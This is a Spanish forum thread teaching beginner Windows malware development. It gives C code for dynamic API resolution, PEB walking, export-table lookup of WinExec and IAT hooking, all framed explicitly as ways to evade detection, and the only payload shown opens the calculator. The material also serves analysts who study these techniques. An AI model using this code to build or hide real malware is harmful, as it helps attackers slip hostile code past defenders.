Introducción basica al maldev

(1/2) > >>

D3s0rd3n:
Casi no se ven mucho acerca del desarrollo de malware asi que quiero aportsr compartiendo algunas cositas que voy encontrando. Aqui pienso escribir los conceptos basicos del desarrollo de malware usando el WinAPI. Como por ejemplo el cargado dinamico de funciones, accesando El PEB (Process Environment Block [Bloque de entorno de Processos]) y la ejecucion de funciones en el codigo. Además de la obufscacion y encodificacion de la payload usando cosas como XOR o AES para hacerla más difícil de de detectar. Entre otras :3.

Cargado y Ejecucion Dinámica de una Función[size]

De ejemplo vamos a empezar con algo simple. La función MessageBoxA que simplemente abre una ventanilla para mostrar un mensaje. Esta función es parte de WinAPI. Nuestro código va a ser simple pero veremos cómo montar funciones dinamicamente. Esto es uno de los principios fundamentales para evadir detección.

Código
int main(void) {
MessageBoxA(0, "Holi mundo.", "info", 0);
return 0;
}
 

En Este código estamos llamando la función directamente. Lo que significa que será enlazada estáticamente al momento de la compilación. Esto en resumen significa que su código será incluido en nuestro programa y no se tendrá que cargar al momento de la ejecución.

Ahora esto es muy fácilmente detectado al momento de análisis así que lo llevaremos otro paso. Observemos el siguiente código:

Código
int main(void) {
size_t get_MessageBoxA = (size_t)GetProcAddress( LoadLibraryA("USER32.dll"), "MessageBoxA" );
def_MessageBoxA msgbox_a = (def_MessageBoxA) get_MessageBoxA;
msgbox_a(0, "Holi mundos", "info", 0);
return 0;
}
 

El Codigo hace lo mismo que el anterior la diferencia es que aquí estamos cargando la función dinamicamente mediante GetProcAddress. Esta función (que literalmente se llama "obtén dirección de proceso") en el momento de ejecución irá a USER32.dll y buscará la dirección de MessageBoxA. Para hacer que esto funcione, necesitamos un puntero de función que get_MessageBoxA que coincida con la función MessageBoxA. Usamos está dirección para asignarla al puntero y a travez del puntero accesamos la función.

El usar punteros nos ayuda a obfuscar la funciones que usamos y hacerle más difícil al análisis estático que es lo que estamos haciendo. Considera el siguiente código que son dos funciones que habren ventanillas con un mensaje. Estas funciones serán importadas de un dll:

Código
__declspec(dllexport) void func1() { MessageBoxA(0, "", "Uno", 0); }
__declspec(dllexport) void func2() { MessageBoxA(0, "", "Dos", 0); }
 
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
   if (fdwReason == DLL_PROCESS_ATTACH) {
       // Función gancho para la func1
   }
   return TRUE;
}
 

Esto parece normal, tenemos dos funciones que son importadas de un dll y cada una abre una ventanilla como lo dije. Pero la cosa aquí es que dentro de DllMain podemos cambiar el comportamiento de func1. Esto para dar una impresión inicial de código benigno y después correr el código sospechoso. La cosa es que esto solo ocurrirá al momento de ejecución haciéndolo muy bueno para evitar detección.

D3s0rd3n:
PEB

Cuando en Windows se abre un ejecutable, por ejemplo chrome.exe, este llamará la función CreateProcess del API de win32 lo que le solicita al sistema operativo que cree un proceso y comience la ejecución. A nivel kernel se creará una estructura de datos EPROCESSES. Luego windows aparta memoria virtual e incluye la representación de memoria física en EPROCESS. Entonces el PEB (Process Environment Block [bloque de entorno de proceso]) es una estructura de datos donde Windows guarda información y configuración asociada con un proceso. El PCB (Process Control Block [bloque de control de proceso]) contiene información que le interesa al kernel como el CPU preferido de este proceso. El TCB (Thread Control Block [Bloque de Control de Hilos]) es lo que usa el kernel para determinar que hilo usar y su jerarquía de preferencia, que es lo que hace el kernel a un nivel muy bajo (pero esa es otra historia).

El PEB se accesa para obtener información del proceso y la información asociada a el como las direcciones base de las librerías dinamicas. Miremos el siguiente código:

Código
typedef struct _PEB_LDR_DATA {
ULONG Length;
UCHAR Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID EntryInProgress;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
 
typedef struct _UNICODE_STRING32 {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING32, *PUNICODE_STRING32;
 
typedef struct _PEB32 {
   // ...
} PEB32, *PPEB32;
 
typedef struct _PEB_LDR_DATA32 {
   // ...
} PEB_LDR_DATA32, *PPEB_LDR_DATA32;
 
typedef struct _LDR_DATA_TABLE_ENTRY32 {
   // ...
} LDR_DATA_TABLE_ENTRY32, *PLDR_DATA_TABLE_ENTRY32;
 

Como se puede ver PEB son estructuras robustas. Y las estructuras como _PEB_LDR_DATA32 son versiones simplificadas del PEB como tal. Estas contienen información y las direcciones de los modulos que estan cargados en memoria.

Código
size_t GetModHandle(wchar_t *libName) {
PEB32 *pPEB = (PEB32 *)__readfsdword(0x30); // ds: fs[0x30]
PLIST_ENTRY header = &(pPEB->Ldr->InMemoryOrderModuleList);
 
for (PLIST_ENTRY curr = header->Flink; curr != header; curr = curr->Flink) {
LDR_DATA_TABLE_ENTRY32 *data = CONTAINING_RECORD(
curr, LDR_DATA_TABLE_ENTRY32, InMemoryOrderLinks
 
);
printf("nodo actual: %ls\n", data->BaseDllName.Buffer);
if (StrStrIW(libName, data->BaseDllName.Buffer))
return data->DllBase;
}
return 0;
}
 

Para acceder la dirección base de un modulo que este cargado en memoria se usa la funcion GetModHandle. Dentro de el PEB hay una estructura llamada PEB_LDR_DATA que contiene la información de un modulo cargado en la memoria. Tambien hay una lista enlazada a los modulos de la memoria que se llamada InMemoryModuleOrderList. La funcion GetModHandle antes mencionada cicla por los elementos de esta losta hasta encontrar el modulo especificado por el parámetro libName.

El PEB se puede encontrar en fs (0x30) en el TEB (Thread Environment Block [Bloque de Hilo de Entorno]) para procesadores x86 y en gs (0x60) para procesadores x64.

Despues usaremos la fincion GetFuncDir para obtener la dirección de una funcion de gro de un modulo.

Código
size_t GetFuncDir(size_t baseModulo, char* szFuncName) {
 
// Interpretar tabla de exportación
PIMAGE_DOS_HEADER dosHdr = (PIMAGE_DOS_HEADER)(baseModulo);
PIMAGE_NT_HEADERS ntHdr = (PIMAGE_NT_HEADERS)(baseModulo + dosHdr->e_lfanew);
IMAGE_OPTIONAL_HEADER optHdr = ntHdr->OptionalHeader;
IMAGE_DATA_DIRECTORY dataDir_exportDir = optHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
 
// Interpretar informacion de la funcion
 
PIMAGE_EXPORT_DIRECTORY tablaExp = (PIMAGE_EXPORT_DIRECTORY)(baseModulo + dataDir_exportDir.VirtualAddress);
DWORD* arrFuncs = (DWORD *)(baseModulo + tablaExp->AddressOfFunctions);
DWORD* arrNames = (DWORD *)(baseModulo + tablaExp->AddressOfNames);
WORD* arrNameOrds = (WORD *)(baseModulo + tablaExp->AddressOfNameOrdinals);
 

Esta funcion toma el parámetro baseModulo que es la dirección base del módulo. Despues se fija en la tabla de exportación (tablaExp) para buscar la funcion que tenga de nombre szFuncName. La tabla de exportación es parte de la estructura de datos del modulo lo cual es procesado por el PEB. La tabla de exportación es parte del archivo PE y nos da una manera de acceder las funciones de este externamente:

Accesso a el encabezado DOS y el encabezado NT para navegar el encabezado opcional de el archivo PE. Identificar los puntos de exportación usando el indice IMAGE_DIRECTORY_ENTRY_POINT de la lista de directorios de el encabezado opcional.Calcular la dirección de la tabla de exportación que contiene datos de las funciones exportadas del modulo.
Ahora, dentro de un ciclo vamos a comparar el nombre de la funcion exportada sz_CurrApiName con el nombre de la funcion szFuncName. Cuando coincide arrojamos fatos sobre la función.

Código
for (size_t i = 0; i < tablaExp->NumberOfNames; i++) {
char* sz_CurrApiName = (char *)(baseModulo + arrNames[i]);
WORD num_CurrApiOrdinal = arrNameOrds[i] + 1;
if (!stricmp(sz_CurrApiName, szFuncName)) {
printf("[+] Found ordinal %.4x - %s\n", num_CurrApiOrdinal, sz_CurrApiName); //enumeration process
return baseModulo + arrFuncs[ num_CurrApiOrdinal - 1 ];
}
}
return 0;
}
 

Si el nombre de la funcion coincide con el nombre de la funcion deseada arrojamos su dirección. Calculamos la dirección de la funcion haciendo referencia a arrFuncs y al ordinal.

Esto es importante por que sto nos permite realizar una inyección de proceso y cargar una funcion dinamicamente. Ahora tenemos la función main:

Código
int main(int argc, char** argv, char* envp) {
   size_t kernelBase = GetModHandle(L"kernel32.dll");
   printf("[+] GetModHandle(kernel32.dll) = %p\n", kernelBase); // resultado de GetModHandle
 
   size_t ptr_WinExec = (size_t) GetFuncDir(kernelBase, "WinExec");
   printf("[+] GetFuncDir(kernel32.dll, WinExec) = %p\n", ptr_WinExec); // la direcci&#243;n de WinExec
   ((UINT(WINAPI*)(LPCSTR, UINT))ptr_WinExec)("calc", SW_SHOW);
   return 0;
}
 

Aqui usamos la función GetModHandle para encontrar la dirección de kernel32.dll dentro del proceso actual. Usamos el PEB para revisar la lista de modulos cargados por uno que coincida con el nombre kernel32.dll. Teniendo esta, usamos GetFuncDir para encontrar la dirección de WinExec que esta despues de la de kernel32.dll y es por eso que tomamos su dirección como la dirección base. Despues invocamos la funcion WinExec dinamicamente usando la dirección obtenida. Transformamos ptr_WinExac a el tipo adecuado para que sea un puntero de esta funcion. Y luego la invocamos con el argumento "calc" para abrir la calculadora.

Esto muestra como podemos ubicar dinamicamente la funcion WinExec dentro de kernel32.dll y ejecutarla para abrir la calculadora (que obviamente en un escenario de maldev sería otra cosa). Esto es una manera de manipular codigo usando el PEB, localizando y utilizando funciones de los modulos cargados.

Ahora prestemos atención a una linea interesante:

Código:

((UINT(WINAPI*)(LPCSTR, UINT))ptr_WinExec)("calc", SW_SHOW);

Esta es donde se invoca dinamicamente la funcion WinExec. Ahora miremosla mas a fondo.

(UINT(WINAPI*)(LPCSTR, UINT))ptr_WinExec Esta cambia el tipo de ptr_WinExex de un puntero normal a uno apropiado para una funcion del API de Windows. Tambien nos encargamos de los parámetros que es un string LPCSTR y un numero UINT.("calc", SW_SHOW) Son los parámetros antes mencionados. Que simplemente le dicen a WinExec que abra una ventana de "calc" con el modo de display SW_SHOW.
Lo que sucede es que el codigo inyecta dinamicamente la ejecución que nosotros deseamos a un proceso legitimo. En vez de tener que incluir la funcion WinExec estáticamente, cad que corre la localiza y la ejecuta dinamicamente.

Esto se usa comúnmente en el malware para no tener que importar ciertas funciones de interés y asi se menos detectables.[/list]

fary:
Me gusta el tema,  seguiré tu post.

Gracias por el aporte.

D3s0rd3n:
Cita de: fary en 21 Diciembre 2023, 05:48 am

Me gusta el tema,  seguiré tu post.

Gracias por el aporte.


Gracias, hago muchas cosas a la vez pero intentaré compartir lo mas que pueda.

D3s0rd3n:
Enganchado IAT

El cargado dinamico de funciones es una tecnica que se usa en el ámbito del desarrollo de software para windows y a menudo se usa en el maldev. Una manera de lograr esto es usando IAT hooking (enganchado de Import Address Table [tabla de direcciones de importación]). La IAT contiene las direcciones de las funciones que importa un programa de algun módulo. Esta tecnica que veremos nos ayuda a interceptar y modificar invocación de funcion dentro de la ejecución de un programa.



Esta imagen nos muestra la estructura de una IAT y como interactuaria un enganche con ella. Primero el programa en cuestión llama la función MessageBoxA de el WinAPI. El programa busca la dirección de esta función y luego brinca la ejecución a ella. Aqui es donde esta el código legitimo de MessageBoxA. Asi funciona la IAT en el contexto de abrir MessageBoxA:

Código
#define getNtHdr(buf) ((IMAGE_NT_HEADERS *)((size_t)buf + ((IMAGE_DOS_HEADER *)buf)->e_lfanew))
#define getSectionArr(buf) ((IMAGE_SECTION_HEADER *)((size_t)buf + ((IMAGE_DOS_HEADER *)buf)->e_lfanew + sizeof(IMAGE_NT_HEADERS))

Esta invocación de la función generalmente se hace mediante una función o una librería del API de Windows. Cuando un programa invoca una función, lo haces de esta manera y no accesando el código de la función como tal. Asi busca su dirección en la IAT que contiene las direcciones de todas kas funciones importadas. Una vez encontrada esta dirección la ejecución se va a ella. Yo me lo imagino algo asi como un DNS para funciones. Rn este caso se obtiene una dirección legitima de MessageBoxA.

Código
size_t ptr_msgboxa = 0;
void iatHook(char *module, const char *szHook_ApiName, size_t callback, size_t &apiAddr)
{
   auto dir_ImportTable = getNtHdr(module)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
   auto impModuleList = (IMAGE_IMPORT_DESCRIPTOR *)&module[dir_ImportTable.VirtualAddress];
   for (; impModuleList->Name; impModuleList++)
   {
       auto arr_callVia = (IMAGE_THUNK_DATA *)&module[impModuleList->FirstThunk];
       auto arr_apiNames = (IMAGE_THUNK_DATA *)&module[impModuleList->OriginalFirstThunk];
       for (int i = 0; arr_apiNames[i].u1.Function; i++)
       {
           auto curr_impApi = (PIMAGE_IMPORT_BY_NAME)&module[arr_apiNames[i].u1.Function];
           if (!strcmp(szHook_ApiName, (char *)curr_impApi->Name))
           {
               apiAddr = arr_callVia[i].u1.Function;
               arr_callVia[i].u1.Function = callback;
               break;
           }
       }
   }
}

Entonces aquí sucede algo diferente. En vez de ejecutar la función MessageBoxA, la entrada en la IAT es modificada para que apunte a otra función. Asi que cuando se ejecuta MessageBoxA en el programa, en realidad se esta ejecutando la función que ka reemplaza. Esto nos permite alterar el funcionamiento esperado del programa.

Navegación

[0] Índice de Mensajes

[#] Página Siguiente